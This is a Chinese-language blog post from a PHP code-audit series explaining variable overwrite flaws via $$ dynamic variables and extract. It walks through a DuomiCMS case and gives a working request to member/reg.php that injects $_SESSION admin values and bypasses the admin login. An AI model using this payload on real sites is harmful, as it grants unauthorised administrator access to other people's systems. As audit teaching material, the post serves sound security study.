Skip to main content

PHP代码审计7-变量覆盖

·190 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

PHP代码审计7-变量覆盖
#

变量覆盖
尽量找配置文件的,因为大量文件都会包含配置文件
extract :
parse_str()
import_request_variables()
$$  : 比如 $a='b' $b=123 echo $$a=123  相当于赋值a=b变量
关键代码如下不用声明变量很方便但是有安全危险 通过$$_request 造成了 $_GET $_POST 然后通过键值对来对变量赋值
foreach (array('_COOKIE','_POST','_GET') as $_REQUEST) {
		    //$_REQUEST $$__REQUEST=$_COOKIE $_POST $_GET
		    foreach ($$_REQUEST as $_key => $_value) {
		        //echo $_key.'<br />';
		        $$_key=$_value;   //比如?a=2 就是  $_key=a  $$_key=$a 意思就是给变量赋值
		}
}
echo $b;
echo $a;

案例一:DuomiCMS 变量覆盖
#

duomiphp/common.php 下面有代码

但是仅仅就是赋值 但是我们可以用来写入内容 比如session

利用session要找到session 代码session_start

就是说要包含这里代码

session_start();
require_once("../duomiphp/common.php");
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

看看他的验证代码

duomiphp/check.admin.php

就是说保持会话的话呢

$_SESSION[‘duomi_admin_id’]

$_SESSION[‘duomi_group_id’]

$_SESSION[‘duomi_admin_name’]

若这三个 Session 变量存在且有效(非空),则认为用户已登录,并通过这些值获取用户身份和权限;

就是说正常下:

验证账号密码通过后,将数据库中查询到的 userID(用户 ID)、groupid(权限组 ID)、userName(用户名)存入 Session,后续请求通过读取这些值识别用户

	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";
	
	function keepUser()
	{
		if($this->userID!=""&&$this->groupid!="")
		{
			global $admincachefile;

			$_SESSION[$this->keepUserIDTag] = $this->userID;
			$_SESSION[$this->keepgroupidTag] = $this->groupid;
			$_SESSION[$this->keepUserNameTag] = $this->userName;

			$fp = fopen($admincachefile,'w');
			fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
			fclose($fp);
			return 1;
		}
		else
		{
			return -1;
		}
	}
	

_SESSION[duomi_admin_id]=1&SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

_SESSION[duomi_admin_id]=0&SESSION[duomi_group_id]=0&_SESSION[duomi_admin_name]=0

访问有两行代码的文件

http://localhost:919/member/reg.php?_SESSION[duomi_admin_id]=1&SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

这时候session已经产生了

再访问admin就可以直接进入

1

看看session文件

duomi_admin_id|s:1:"1";
duomi_admin_name|s:5:"admin";
duomi_ckstr|s:4:"vadh";
duomi_ckstr_last|s:0:"";

产生session的原因

1:请求到达服务器,session_start() 执行
	如果你是首次访问(没有 PHPSESSID):PHP 会生成一个新的 Session ID(如 sess_xxx),并在服务器的 Session 目录(通常是 /tmp 或配置的 session.save_path)创建对应的空文件(如 sess_xxx)。
如果你已有 Session ID(浏览器保存了 PHPSESSID):PHP 会直接打开对应的 Session 文件(如 sess_xxx),准备读取 / 修改其中的数据。
2:	变量覆盖漏洞将注入参数写入 $_SESSION 写入对应的数值到session中

原理就是自己可以写入数据到session中去了, 相当于 “跳过了服务器的正常验证流程,强行将本应由服务器写入的数据,用自己的输入覆盖进去”。

判断 “是否已登录” 的隐含逻辑 非空就可以

_SESSION[duomi_admin_id]=&SESSION[duomi_group_id]=&_SESSION[duomi_admin_name]=当是这个时候就不行了你改为0都可以

duomi_admin_id|s:1:"0";duomi_admin_name|s:1:"0";duomi_ckstr|s:4:"cinm";duomi_ckstr_last|s:0:"";
反正有值就可以进去

Related

MVC-PHP代码审计6-框架-文件包含
·151 words·1 min
MVC-PHP代码审计5-框架-反序列化构建链
·249 words·2 mins
MVC-PHP代码审计4-框架-SQL注入
·309 words·2 mins
MVC-PHP代码审计2
·204 words·1 min
MVC-PHP代码审计3-反序列化-原生-框架-phar
·452 words·3 mins